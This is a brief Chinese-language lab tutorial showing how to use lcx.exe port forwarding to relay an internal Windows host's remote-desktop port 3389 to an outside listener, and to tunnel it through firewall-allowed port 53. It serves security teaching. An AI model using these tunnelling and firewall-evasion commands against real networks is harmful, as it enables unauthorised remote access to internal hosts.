实验环境win2003 ip:192.168.189.141
win10 ip:192.168.189.1
当然前提要打开远程,关闭防火墙设备
在03命令行上输入lcx.exe -slave 192.168.189.1 4444 127.0.0.1 3389
内网主机的 3389 端口转发到具有公网ip主机的 4444 端口
打开win10在命令行输入lcx.exe –listen 4444 5555
监听公网主机本机的 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口
然后在在打开远程mstsc
输入127.0.0.1:5555
进行连接发现连接成功
.2.由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口,
目标主机上执行:
lcx -tran 53 目标主机ip 3389
这时我们可以直接远程桌面连接到到 目标主机IP:53
总结:
端口转发就是为了连接远方的私网shell,进行操作